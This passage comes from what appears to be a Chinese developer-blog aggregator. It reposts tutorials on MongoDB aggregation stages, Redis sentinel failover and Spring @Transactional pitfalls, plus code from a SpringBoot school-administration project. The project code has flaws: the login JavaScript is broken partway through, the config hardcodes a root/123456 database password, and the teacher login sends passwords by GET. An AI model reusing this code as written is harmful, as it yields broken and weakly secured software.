  orderDate: 2019-01-23T11:56:14.972Z,
  status: 'shipping',
  shippingFee: Decimal128("8.00"),
  orderLines: 
   { product: 'Licensed Soft Cheese',
     sku: '2702',
     qty: 70,
     price: Decimal128("55.00"),
     cost: Decimal128("53.9") },
  total: Decimal128("313") }
......

$project

从文档中指定想要的字段和不想要的字段

格式

{ $project: { <specification(s)> } }

1
2
3
4
5
6
shell复制代码specifications有以下形式：

<field>: <1 or true> 包含该字段
<field>: <0 or false> 不包含该字段

_id: <0 or false>        是否指定_id字段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
json复制代码--如果有一个属性为或几个属性为1，那么只显示这一个或几个属性 + _id
db.orders.aggregate({
    $project:{name:1}
})
--结果
{ _id: ObjectId("5dbe7a545368f69de2b4d36e"), name: 'Destinee Schneider' }
{ _id: ObjectId("5dbe7a545368f69de2b4d36f"), name: 'Ashlynn Sipes' }
{ _id: ObjectId("5dbe7a54cd023b9de4efc1cc"), name: 'Genoveva Bauch' }
{ _id: ObjectId("5dbe7a542411dc9de6429190"), name: 'Kris Hansen' }

--如果有一个属性为或几个属性为0，那么显示除了这个一个或几个属性的其它所有属性
db.orders.aggregate({
    $project:{orderLines:0}
})
--结果
{
    "_id": {"$oid": "5dbe7a545368f69de2b4d36e"},
    "city": "Champlinberg",
    "country": "Malaysia",
    "name": "Destinee Schneider",
    "orderDate": {"$date": "2019-03-26T03:20:08.805Z"},
    "phone": "425.956.7743 x4621",
    "shippingFee": {"$numberDecimal": 8.00},
    "state": "Texas",
    "status": "created",
    "street": "493 Hilll Curve",
    "total": {"$numberDecimal": 407},
    "userId": 3573,
    "zip": "24344-1715"
},
{
    "_id": {"$oid": "5dbe7a545368f69de2b4d36f"},
    "city": "Linwoodburgh",
    "country": "United States of America",
    "name": "Ashlynn Sipes",
    "orderDate": {"$date": "2019-07-18T07:21:53.530Z"},
    "phone": "508.326.5494 x1218",
    "shippingFee": {"$numberDecimal": 7.00},
    "state": "Indiana",
    "status": "shipping",
    "street": "39476 Lacey Harbor",
    "total": {"$numberDecimal": 439},
    "userId": 2500,
    "zip": "84551"
}
......

--只展示嵌套属性
db.orders.aggregate({
    $project:{"orderLines.price":1}
})
或者
db.orders.aggregate({
    $project:{orderLines:{price:1}}
})
--结果
{ _id: ObjectId("5dbe7a542411dc9de6429193"),
  orderLines: 
   [ { price: Decimal128("75.00") },
     { price: Decimal128("64.00") },
     { price: Decimal128("34.00") },
     { price: Decimal128("98.00") },
     { price: Decimal128("88.00") },
     { price: Decimal128("20.00") },
     { price: Decimal128("59.00") },
     { price: Decimal128("20.00") },
     { price: Decimal128("90.00") },
     { price: Decimal128("45.00") },
     { price: Decimal128("42.00") },
     { price: Decimal128("28.00") } ] }
{ _id: ObjectId("5dbe7a5450fc769de3e19d20"),
  orderLines: 
   [ { price: Decimal128("51.00") },
     { price: Decimal128("10.00") },
     { price: Decimal128("63.00") },
     { price: Decimal128("12.00") },
     { price: Decimal128("37.00") },
     { price: Decimal128("43.00") },
     { price: Decimal128("39.00") },
     { price: Decimal128("68.00") },
     { price: Decimal128("21.00") } ] }
......

$cond-if-then-else的使用相当于SQL中的case-when-then-else

$$REMOVE是在满足这个条件的时候移除这个属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
json复制代码--不是7月的文档，移除这个属性
db.orders.aggregate({
    $project:{
        name:1,
        orderDate:{
            $cond: {
                   if: { $ne: [ {"$month":"$orderDate"}, 7 ] },
                   then: "$$REMOVE",
                   else: "$orderDate"
            }
        }
    }
})
--结果
{ _id: ObjectId("5dbe7a545368f69de2b4d36e"), name: 'Destinee Schneider' }
{ _id: ObjectId("5dbe7a545368f69de2b4d36f"), name: 'Ashlynn Sipes', orderDate: 2019-07-18T07:21:53.530Z }
{ _id: ObjectId("5dbe7a54cd023b9de4efc1cc"), name: 'Genoveva Bauch' }
{ _id: ObjectId("5dbe7a542411dc9de6429190"), name: 'Kris Hansen' }

映射到一个属性包含多个属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
json复制代码--使用substr截取第一个字母，使用strLenCP取name的长度
db.orders.aggregate({
    $project:{
        _id: 0,
        nm:{
            name:"$name",
            firstLetter:{$substr:["$name",0,1]},
            nameLenth:{$strLenCP:"$name"}
        }
    }
})
--结果
{ nm: { name: 'Destinee Schneider', firstLetter: 'D', nameLenth: 18 } }
{ nm: { name: 'Ashlynn Sipes', firstLetter: 'A', nameLenth: 13 } }
{ nm: { name: 'Genoveva Bauch', firstLetter: 'G', nameLenth: 14 } }
{ nm: { name: 'Kris Hansen', firstLetter: 'K', nameLenth: 11 } }
{ nm: { name: 'Dudley Kertzmann', firstLetter: 'D', nameLenth: 16 } }
......

将多个属性的值映射到一个数组当中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
json复制代码db.orders.aggregate({
    $project:{
        _id: 0,
        msg:[
            "$name","$orderDate","$orderLines.price"
        ]
    }
})
--结果
{msg: 
   [ 
     'Gudrun Stamm',
     2019-09-10T01:00:00.679Z,
     [ 
       Decimal128("17.00"),
       Decimal128("91.00"),
       Decimal128("51.00"),
       Decimal128("10.00"),
       Decimal128("18.00"),
       Decimal128("46.00"),
       Decimal128("69.00"),
       Decimal128("18.00"),
       Decimal128("89.00"),
       Decimal128("99.00") 
	] 
  ] 
}
{ msg: 
   [ 
     'Jalon Erdman',
     2019-03-06T08:30:55.042Z,
     [ 
       Decimal128("37.00"),
       Decimal128("91.00"),
       Decimal128("88.00"),
       Decimal128("20.00"),
       Decimal128("75.00"),
       Decimal128("46.00") 
	] 
  ] 
}
{ msg: 
   [ 
     'Mossie Ankunding',
     2019-05-25T09:40:13.662Z,
     [ 
       Decimal128("14.00"),
       Decimal128("49.00"),
       Decimal128("38.00"),
       Decimal128("55.00"),
       Decimal128("20.00") 
	 ] 
   ] 
}
{ msg: 
   [ 
     'Jorge Toy',
     2019-09-28T23:07:35.137Z,
     [ 
       Decimal128("71.00"),
       Decimal128("62.00"),
       Decimal128("59.00"),
       Decimal128("43.00"),
       Decimal128("55.00"),
       Decimal128("65.00"),
       Decimal128("57.00") 
     ] 
   ] 
}
......

$limit

限制条数，获取前n条数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
json复制代码db.orders.aggregate({
    $limit:2
})
--结果
{ _id: ObjectId("5dbe7a545368f69de2b4d36e"),
  street: '493 Hilll Curve',
  city: 'Champlinberg',
  state: 'Texas',
  country: 'Malaysia',
  zip: '24344-1715',
  phone: '425.956.7743 x4621',
  name: 'Destinee Schneider',
  userId: 3573,
  orderDate: 2019-03-26T03:20:08.805Z,
  status: 'created',
  shippingFee: Decimal128("8.00"),
  orderLines: 
   [ { product: 'Refined Fresh Tuna',
       sku: '2057',
       qty: 25,
       price: Decimal128("56.00"),
       cost: Decimal128("46.48") },
     { product: 'Intelligent Wooden Towels',
       sku: '5674',
       qty: 72,
       price: Decimal128("84.00"),
       cost: Decimal128("68.88") },
     { product: 'Refined Steel Bacon',
       sku: '5009',
       qty: 8,
       price: Decimal128("53.00"),
       cost: Decimal128("50.35") } ],
  total: Decimal128("407") }
{ _id: ObjectId("5dbe7a545368f69de2b4d36f"),
  street: '39476 Lacey Harbor',
  city: 'Linwoodburgh',
  state: 'Indiana',
  country: 'United States of America',
  zip: '84551',
  phone: '508.326.5494 x1218',
  name: 'Ashlynn Sipes',
  userId: 2500,
  orderDate: 2019-07-18T07:21:53.530Z,
  status: 'shipping',
  shippingFee: Decimal128("7.00"),
  orderLines: 
   [ { product: 'Fantastic Soft Soap',
       sku: '6274',
       qty: 71,
       price: Decimal128("91.00"),
       cost: Decimal128("89.18") },
     { product: 'Intelligent Steel Chair',
       sku: '8278',
       qty: 13,
       price: Decimal128("67.00"),
       cost: Decimal128("62.31") },
     { product: 'Small Rubber Shoes',
       sku: '3534',
       qty: 60,
       price: Decimal128("76.00"),
       cost: Decimal128("71.44") } ],
  total: Decimal128("439") }
......

$skip

跳过前n行数据查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
json复制代码--查询第2、3条
db.orders.aggregate([{
        $skip:1
    },{
        $limit:2
}])
--结果
{ _id: ObjectId("5dbe7a545368f69de2b4d36f"),
  street: '39476 Lacey Harbor',
  city: 'Linwoodburgh',
  state: 'Indiana',
  country: 'United States of America',
  zip: '84551',
  phone: '508.326.5494 x1218',
  name: 'Ashlynn Sipes',
  userId: 2500,
  orderDate: 2019-07-18T07:21:53.530Z,
  status: 'shipping',
  shippingFee: Decimal128("7.00"),
  orderLines: 
   [ { product: 'Fantastic Soft Soap',
       sku: '6274',
       qty: 71,
       price: Decimal128("91.00"),
       cost: Decimal128("89.18") },
     { product: 'Incredible Concrete Chips',
       sku: '3756',
       qty: 6,
       price: Decimal128("18.00"),
       cost: Decimal128("15.12") },
     { product: 'Intelligent Steel Chair',
       sku: '8278',
       qty: 13,
       price: Decimal128("67.00"),
       cost: Decimal128("62.31") },
     { product: 'Small Rubber Shoes',
       sku: '3534',
       qty: 60,
       price: Decimal128("76.00"),
       cost: Decimal128("71.44") } ],
  total: Decimal128("439") }
{ _id: ObjectId("5dbe7a54cd023b9de4efc1cc"),
  street: '699 Harvey Row',
  city: 'Electamouth',
  state: 'South Dakota',
  country: 'Burundi',
  zip: '61826',
  phone: '(936) 449-4255 x58095',
  name: 'Genoveva Bauch',
  userId: 8302,
  orderDate: 2019-03-15T13:53:48.925Z,
  status: 'shipping',
  shippingFee: Decimal128("5.00"),
  orderLines: 
   [ { product: 'Intelligent Soft Salad',
       sku: '3711',
       qty: 85,
       price: Decimal128("86.00"),
       cost: Decimal128("76.54") },
     { product: 'Generic Cotton Ball',
       sku: '2112',
       qty: 44,
       price: Decimal128("21.00"),
       cost: Decimal128("19.32") },
     { product: 'Rustic Plastic Keyboard',
       sku: '6451',
       qty: 19,
       price: Decimal128("81.00"),
       cost: Decimal128("77.76") } ],
  total: Decimal128("341") }

$sort

对文档进行排序 升序:1 降序:-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
json复制代码--用名字排序
db.orders.aggregate([{
        $sort:{name:1}
    },{
        $project:{_id:0,name:1}
    }
])
--结果
{ name: 'Aaliyah Bruen' }
{ name: 'Aaliyah Erdman' }
{ name: 'Aaliyah Fahey' }
{ name: 'Aaliyah Gerhold' }
{ name: 'Aaliyah Graham' }
{ name: 'Aaliyah Greenfelder' }
{ name: 'Aaliyah Konopelski' }
{ name: 'Aaliyah Kovacek' }
{ name: 'Aaliyah Kuphal' }
{ name: 'Aaliyah Lueilwitz' }
{ name: 'Aaliyah Maggio' }
......

$sortByCount

根据某个字段分组计算 count 值然后按照这个值降序排序

1
2
3
4
5
6
7
8
9
json复制代码db.orders.aggregate({
    $sortByCount:"$status"
})
--结果
{ _id: 'created', count: 20087 }
{ _id: 'shipping', count: 20017 }
{ _id: 'completed', count: 20015 }
{ _id: 'cancelled', count: 19978 }
{ _id: 'fulfilled', count: 19903 }

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

这是我参与11月更文挑战的第28天，活动详情查看：2021最后一次更文挑战

一、前言

在主从库模式下：

  • 如果从库故障了，主库和其他从库仍可以保证集群正常运行。
  • 可如果主库挂了呢？

那么在主从库模式下，主库挂了会发生什么：

  1. 读操作：从库仍可以继续提供读操作服务
  2. 写操作：写操作异常（因为主库提供写操作服务）
  3. 数据同步：从库无法进行数据同步
    2021-11-2814-10-46.png

如果主库挂了，就需要选举出一个新的主库，才能继续提供正常的服务。

在这个场景下，就需要回答三个问题：

  1. 如何判断主库挂了？
  2. 选择哪个从库作为主库？
  3. 如何把主库的信息同步给其他从库和其他端？

这时候就需要另外一个机制来监控 Redis 实例：哨兵机制。

那么这个哨兵机制就需要回答这三个问题：

  1. 监控：主库是否存活？
  2. 选主：在从库中选择一个成为主库。
  3. 通知：告诉其他从库，新主库的信息。

二、哨兵机制

哨兵其实一个运行在特殊模式下的 Redis 进程，主从库运行的同时，它也在运行。

如上所知，哨兵必须拥有以下三种能力：

  1. 监控：判断主从库下线
  2. 选主：选出新主库
  3. 通知：让从库执行 replicaof ，与新主库同步; 通知客户端，与新主库连接
    2021-11-2814-30-35.png

（1）监控

监控：说白就是定时去问候下，是否还活着。

即：哨兵进程在运行时，周期性给所有的主从库发送 PING 命令，检测是否正常运行。

如果没在规定时间内响应哨兵的 PING 命令：

  1. 从库：会被标记为 “下线状态”
  2. 主库：会被判定为 “主库下线”，之后开始自动切换主库流程

哨兵对主库的下线判断有：“主观下线”、“客观下线”

  • “主观下线”：哨兵发现主库或从库对 PING 命令的响应超时。
  • “客观下线”：当有 N 个哨兵实例时，有 N/2 + 1 个实例判断主库为 “主观下线”，才能最终判定主库为 “客观下线”。

如果哨兵对主库进行了误判下线，就会触发从库切换，从而带来额外的计算和通信开销。

但实际上只是集群网络压力过大、网络阻塞或者主库本身压力较大，造成短暂响应超时。

为减少误判，就不能一个哨兵说了算，得有一个哨兵集群（多实例组成），来一起进行判断：

  • 可以避免单个哨兵因为自身网络状况不好，而误判主库下线的情况
  • 多个哨兵的网络同时不稳定的概率较小

举个栗子：

  • Redis 主从集群有一个主库、三个从库、三个哨兵实例
  • 情况一（左边）：哨兵2 判断主库为 “主观下线”，哨兵1 和 哨兵2 判断主库为 “上线状态”; 最终，主库仍判定为 “上线状态”。
  • 情况二（右边）：哨兵3 判断主库为 “上线状态”，哨兵1 和 哨兵2 判断主库为 “主观下线”; 最终，主库仍判定为 “客观下线”。
    2021-11-2814-55-25.png

（2）选主

既然判断主库下线了，那接下来就得选主了。

选主基本流程：筛选 + 打分

  • 筛选：根据在线状态、网络状态过滤一些不符合要求的从库。
  • 打分：依次按照优先级、复制进度、ID 号大小进行打分，得分最高的从库选为新主库。
    2021-11-2815-16-43.png

筛选

筛选标准：

  1. 从库当前的在线状态：是否在线
  2. 从库之前的网络连接状态：从库和主库断连次数是否超出了一定的阈值

断连次数如何判断？使用配置项 down-after-milliseconds * 10 :

  • down-after-milliseconds：表示从库断连的最大连接超时时间
  • 10：发送断连的次数超过 10 次，说明这个从库的网络状况不好

打分

打分，可以按照三个规则进行三轮打分：

  1. 从库优先级
  2. 从库复制进度
  3. 从库 ID 号
第一轮：优先级最高的从库

用户可以通过 slave-priority 配置项，给不同从库设置不同优先级。

一般根据从库所在机子的配置，设置相应的权重：

  1. 如果一个从库的优先级最高，则它就是新主库了
  2. 如果从库优先级都一致，则进行第二轮打分
第二轮：和旧主库同步程度最接近

参数标准：

  • master_repl_offset：主库记录当前的最新写操作在 repl_backlog_buffer 中的位置
  • slave_repl_offset：从库记录当前的复制进度

根据以上两个参数，就可以判断从库和旧主库间的同步进度。

slave_repl_offset 越接近 master_repl_offset，得分就越高，会被选为新主库。

实际上，比较的还是 slave_repl_offset，因为旧主库宕机了，拿不到 master_repl_offset。

  • master_repl_offset 会单调递增。

举个栗子：

  • 旧主库：master_repl_offset 是 1000
  • 从库 1、2和3的 slave_repl_offset：950、990 和 900
  • 则从库2 会被选为新主库
    2021-11-2815-39-34.png

如果从库的 slave_reple_offset 值大小是一样的，就需要进行第三轮打分了。

第三轮：ID 号小的从库得分高

到了决赛圈了，每个从库的 ID 号一定不同的。

Redis 在选主库时，有个默认的规定：在优先级和复制进度都相同的情况下，ID 号最小的从库得分最高，会被选为新主库。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

这是我参与11月更文挑战的第27天，活动详情查看：2021最后一次更文挑战

@Transactional是我们在用Spring时候几乎逃不掉的一个注解，该注解主要用来声明事务。它的实现原理是通过Spring AOP在注解修饰方法的前后织入事务管理的实现语句，所以开发者只需要通过一个注解就能代替一系列繁琐的事务开始、事务关闭等重复性的编码任务。

一起看看，什么情况下@Transactional会失效，别再只会说：“我本地可以啊”～

在同一个类中调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typescript复制代码public class A {
    
    public void methodA() {
        methodB();
        
        // 其他操作
    }

    @Transactional
    public void methodB() {
        // 写数据库操作
    }
    
}
// 注意：这里A类用了构造器注入B的实现，构造函数用Lombok的
// @AllArgsConstructor生成。

我们调用的方法A不带注解，所示是直接调用目标对象的方法。当进入目标对象的方法后，执行的上下文已经变成目标对象本身了，因为目标对象的代码是我们自己写的，和事务没有关系，此时你再调用带注解的方法，照样没有事务，只是一个普通的方法调用而已。简单来说，内部调用本类方法，不会再走代理了，所以B的事务不起作用。

看不懂吗？看不懂换个说法～

因为在A方法中调用B方法相当于使用this.B，this代表的是Service类本身，并不是真实的代理Service对象，这种不能实现代理功能。Spring 在扫描bean的时候会扫描方法上是否包含@Transactional注解，如果包含，Spring 会为这个bean动态地生成一个子类（即代理类proxy），proxy是继承原来那个bean的。此时，当这个有注解的方法被调用的时候，实际上是由proxy来调用的，proxy在调用之前就会启动transaction。然而，如果这个有注解的方法是被同一个类中的其他方法调用的，那么该方法的调用并没有通过proxy，而是直接通过原来的那个bean，所以就不会启动transaction，即@Transactional注解无效。

解决方法

  1. 在xxxServiceImpl中，用(xxxService)(AopContext.currentProxy())，获取到xxxService的代理类，再调用事务方法，强行经过代理类，激活事务切面。
1
2
3
4
5
6
7
8
9
10
11
12
typescript复制代码public class test {

    @Transactional
    public void a() { 
        (test)(AopContext.currentProxy()).b();
    }

    @Transactional
    public void b() {
        // 其他代码
    }
}
  1. @Autowired 注入自己来调用方法解决。
  2. 将事务方法放到另一个类中（或者单独开启一层，取名“事务层”）进行调用，即符合了在对象之间调用的条件。还是合理规划好层次关系即可，比如这样：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
less复制代码@Service
@AllArgsConstructor
public class A {
    
    private B b;
    
    public void methodA() {
        b.methodB();
        // 其他操作
    }
}

@Service
public class B {

    @Transactional
    public void methodB() {
        // 写数据库操作
    }
    
}

@Transactional修饰方法不是public

1
2
3
4
5
6
7
8
typescript复制代码public class TransactionalMistake {
    
    @Transactional
    private void method() {
        // 写数据库操作
    }
    
}

不同的数据源

1
2
3
4
5
6
7
8
9
typescript复制代码public class TransactionalMistake {

    @Transactional
    public void createOrder(Order order) {
        orderRepo1.save(order);
        orderRepo2.save(order);
    }

}

回滚异常配置不正确

默认情况下，仅对RuntimeException和Error进行回滚。如果不是的它们及它们的子孙异常的话，就不会回滚。

所以，在自定义异常的时候，要做好适当的规划，如果要影响事务回滚，可以定义为RuntimeException的子类；如果不是RuntimeException，但也希望触发回滚，那么可以使用rollbackFor属性来指定要回滚的异常。

1
2
3
4
5
6
7
8
java复制代码public class TransactionalMistake {

    @Transactional(rollbackFor = XXXException.class)
    public void method() throws XXXException {

    }

}

数据库引擎不支持事务

例如漏了一个关键属性的配置：

1
ini复制代码spring.jpa.database-platform=org.hibernate.dialect.MySQL5InnoDBDialect

这里的spring.jpa.database-platform配置主要用来设置hibernate使用的方言。这里特地采用了MySQL5InnoDBDialect，主要为了保障在使用Spring Data JPA时候，Hibernate自动创建表的时候使用InnoDB存储引擎，不然就会以默认存储引擎MyISAM来建表，而MyISAM存储引擎是没有事务的。

如果你的事务没有生效，那么可以看看创建的表，是不是使用了MyISAM存储引擎，如果是的话，那就是这个原因了!

参考：

（1）www.cnblogs.com/guobi777/p/…

（2）mp.weixin.qq.com/s/oblTiQnvp…

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

发表于

​
这是我参与11月更文挑战的第29天，活动详情查看：2021最后一次更文挑战」

研究背景：

在当今信息社会发展中中，计算机科学的飞速发展，大多数学校开始注意办公效率的发展是很关键，对学校的管理起到举足轻重的作用。基于 Internet 网络的信息服务，快速成长为现代学校中一项不可或缺的内容措施。很多校园都已经不满意商务办公管理的缓慢成长方式。学院的需求是一个功能强大的，能提供完善管理，管理信息系统的速度。社会持续向前发展，尤其是大多地方普及计算机，计算机应用已经开始向大容量的数据存储与处理持续发展，产生了以计算机为核心，用数据库作为环境的管理信息现代化系统，事务管理方面用大容量和对各种信息动态管理等方面的综合应用。建立学校教务管理系统能够对学校职员对学生信息的管理更为规范化和合理化。能有效快速记录大量的学生得信息， 能对学生用户能够运用简便的方法快速的查到他们所需要的课程信息，并且能够发布通知等一系列功能，实现了由传统人工转向办公向信息自动化。因此用 Java相关开发工具，精心构建了一个教务信息管理平台，实现了一个简单的管理系统。该系统能实现学生的管理、课程的管理、成绩管理、课程选报情况管理、系统用户的管理；能够实现学生报课程的查询、已选报课程成绩的查询、个人信息查询修改等功能、教务信息管理系统的完成给学校管理人员们和学生提供了很多的便利， 能够更好的提高教学质量，其科学性以及合理性对学校的发展有着举足轻重的作用。

我国 教务 现状与反思

就目前而言，我国绝大多数高校，和相当一部分的中小学都已经开展了基本的信息化教育教学管理系统的建设工作，让我国整体的教学效率与节奏得到了提升。但是根据我自己在使用学校的教务管理系统，以及通过查阅文献了解我国目前教务管理系统的一个发展现状之后，我认为其中仍然存在着两个比较大的问题。一方面，我认为很多学校对于教育教学管理系统的开发，并没有足够的投入和付出。他们并没有真正意识到教育教学管理系统能给学校带来的东西。从前人的调查情况来看，很多学校为了方便，会直接将管理系统的设计与开发外包给其他企业，但他们并不是教育工作者，并不了解教育系统它究竟需要什么样的功能[1]。这导致了部分教育教学管理系统的收效并不是很理想，是有待商榷的。另一方面，根据前人研究来看，大多数学校缺乏对自己系统的维护，很多情况下在开发完成之后，就不会再考虑对系统的维护升级了[2]。但教育是一个需要与时俱进的事业，无论是教材、教育方法，还是教育系统，都需要跟上时代的脚步。很多学校目前采用的系统可能是五年，甚至十年前开发的，没有专门的人员对系统进行维护，也没有根据师生的使用感受来对系统进行修复、调整，这一点在我国目前其实是非常严重且普遍的。一个落伍的管理系统，是无法为教育教学提供有效支持的。

主要技术和环境：

IDEA+Navicat+SpringBoot+Mysql+Springmvc+Jquery+thymeleaf模板+HTML等

功能截图：

系统分为三个角色登录《管理员、老师、学生》每个角色具有不同的功能、具体信息在上面演示视频可以查看、我就不多做赘述了

登录：

管理员首页：

教师首页：

学生首页：

部分代码：

用户登录：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
html复制代码<div class="bg"></div>
<div class="container">
    <form class="form-signin text-center" action="" id="from" >
        <img class="mb-4" th:src="@{/asserts/img/abb.jpg}" alt="" width="72" height="72"/>
        <label class="sr-only" >Username</label>
        <input type="text" class="form-control" placeholder="用户名"
               id="username"
               name="name"/>
        <label class="sr-only">Password</label>
        <input type="password" class="form-control" placeholder="密码"
               id="password"
               name="pwd"
               style="margin-top: 20px"/>

        <div class="btn-group" role="group" aria-label="...">
            <!--        <button type="button" class="but btn btn-default" value="sadmin">超级管理</button>-->
            <button type="button" class="but btn btn-default" value="admin">管理员</button>
            <button type="button" class="but btn btn-default" value="teacher">教师</button>
        </div>


        <div class="checkbox mb-3">
            <label>
                <!--<input type="checkbox" value="remember-me" name="remember-me" /><span></span>-->
            </label>
        </div>
        <button class="btn btn-lg btn-primary btn-block" type="button"id="sub" @click="login">登录</button>
        <span class="help-block"></span>
        <p class="mt-5 mb-3 text-muted">© 2018-2020</p>
    </form>
</div>

</body>
<script type="text/javascript" th:src="@{/webjars/jquery/1.9.1/jquery.js}"></script>
<script type="text/javascript" th:src="@{/webjars/bootstrap/3.3.7/js/bootstrap.min.js}"></script>
<script type="text/javascript" th:src="@{/js/Vue.js}"></script>
<script type="text/javascript" th:src="@{/js/element-ui.js}"></script>
<script th:inline="javascript" type="text/javascript">

    var basePath= /*[[${httpServletRequest.getContextPath()}]]*/'ContextPath' ;

    var a = new Vue({
        el:"#from",
        data:{
            usertype:0,
            url:basePath+"/login"
        },
        methods:{
            login:function () {
                if(a.usertype==0)
                {
                    a.point1()
                    return;
                }
                if(a.usertype=="sadmin"){
                    // superadmni
                    console.log("superadmin");
                }
                if(a.usertype=="admin"){
                    // admin
                    console.log("admin");
                    $.ajax({
                        url: this.url,
                        type: "post",
                        async: false,
                        data: $("#from").serializeArray(),
                        contentType: 'application/x-www-form-urlencoded',
                        dataType:"json",
                        success:function (result) {
                            console.log("result:",result);
                            if(result.code == 300){
                                alert(result.msg)
                            }else if(result.code == 100){
                                window.location.href = basePath+"/admin/index";
                            }
                        },error:function (data) {
                            console.log("error:",data);
                        }
                    });
                }
                if(a.usertype=="teacher"){
                    console.log("teacher");
                    $.ajax({
                        url: basePath+"/teacher/login",
                        type: "get",
                        async: false,
                        data: $("#from").serializeArray(),
                        contentType: 'application/x-www-form-urlencoded',
                        dataType:"json",
                        success:function (result) {
                            if(result.extend.info == 300){
                                a.point2()
                            }else if(result.extend.info == 200){
                                window.location.href = basePath+"/teacher/index";
                            }else
                                a.point3()
                        }


            point1(){
                this.$notify.info({
                    title: '提示',
                    message: '请选择用户类型'
                });
            },
            point2(){
                this.$notify.info({
                    title: '提示',
                    message: '账号不存在'
                });
            },
            point3(){
                this.$notify.error({
                    title: '提示',
                    message: '密码错误'
                });
            }

    });

    $(".but").click(function(){
        $(".but").removeClass("active");
        $(this).addClass("active");
        a.usertype = $(this).val();
    });


</script>

</html>

yml配置：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
java复制代码spring:
  # 环境 dev|test|prod | ctp
  profiles:
    active: pro
  datasource:
    username: root
    password: 123456
    url: jdbc:mysql://localhost:3306/edumanagement?useUnicode=true&characterEncoding=utf8&serverTimezone=UTC&useSSL=false
    type: com.alibaba.druid.pool.DruidDataSource
    initialSize: 5
    minIdle: 5
    maxActive: 20
    maxWait: 60000
    timeBetweenEvictionRunsMillis: 60000
    minEvictableIdleTimeMillis: 300000
    validationQuery: SELECT 1 FROM DUAL
    testWhileIdle: true
    testOnBorrow: false
    testOnReturn: false
    poolPreparedStatements: true
    #   配置监控统计拦截的filters，去掉后监控界面sql无法统计，'wall'用于防火墙
    filters: stat,wall,log4j
    maxPoolPreparedStatementPerConnectionSize: 20
    useGlobalDataSourceStat: true
    connectionProperties: druid.stat.mergeSql=true;druid.stat.slowSqlMillis=5


  thymeleaf:
    cache: false
    mode: HTML
    servlet:
      content-type: text/html
    prefix: classpath:/templates/

  servlet:
    multipart:
      max-file-size: 100MB
      max-request-size: 500MB



  jackson:
    default-property-inclusion: non_null

mybatis:
  mapper-locations: classpath:mybatis/mapper/*.xml
  configuration:
    map-underscore-to-camel-case: true

# MybatisPlus 配置
mybatis-plus:
  mapper-locations: classpath:mapper/*/*Mapper.xml
  type-aliases-package: com.hngy.educationaladministration.plus.entity

logging:
  level:
    com.hngy.educationaladministration.mapper: debug


server:
  port: 8088
  servlet:
    context-path: /edumanagement

视图跳转：

1
2
3
4
5
6
7
8
9
10
11
12
13
java复制代码 /**
     * 添加视图跳转
     */
    @Override
    public void addViewControllers(ViewControllerRegistry registry) {
        registry.addViewController("/").setViewName("login");
        registry.addViewController("/teacher/businessView").setViewName("teacher/showtable/businessView");
        registry.addViewController("/teacher/workloadView").setViewName("teacher/showtable/workloadView");
        registry.addViewController("/teacher/workloadEdit").setViewName("teacher/fillouttable/workloadEdit");
        registry.addViewController("/teacher/businessEdit").setViewName("teacher/fillouttable/businessEdit");
        registry.addViewController("/teacher/businessPrint").setViewName("teacher/table/business");
        registry.addViewController("/teacher/workloadPrint").setViewName("teacher/table/workload");
    }

拦截放行：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
java复制代码/**
     *  放行路径，不经过拦截器
     */
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new LoginInterceptor()).excludePathPatterns(
                "/",
                "/login",
                "/admin/login",
                "/admin/exit",
                "/teacher/login",
                "/teacher/exit",
                "/student/login",
                "/student/exit",
                "/js/**",
                "/asserts/**",
                "/webjars/**",
                "/css/**",
                "/error/**",
                "/cs"
        );
    }

总结：

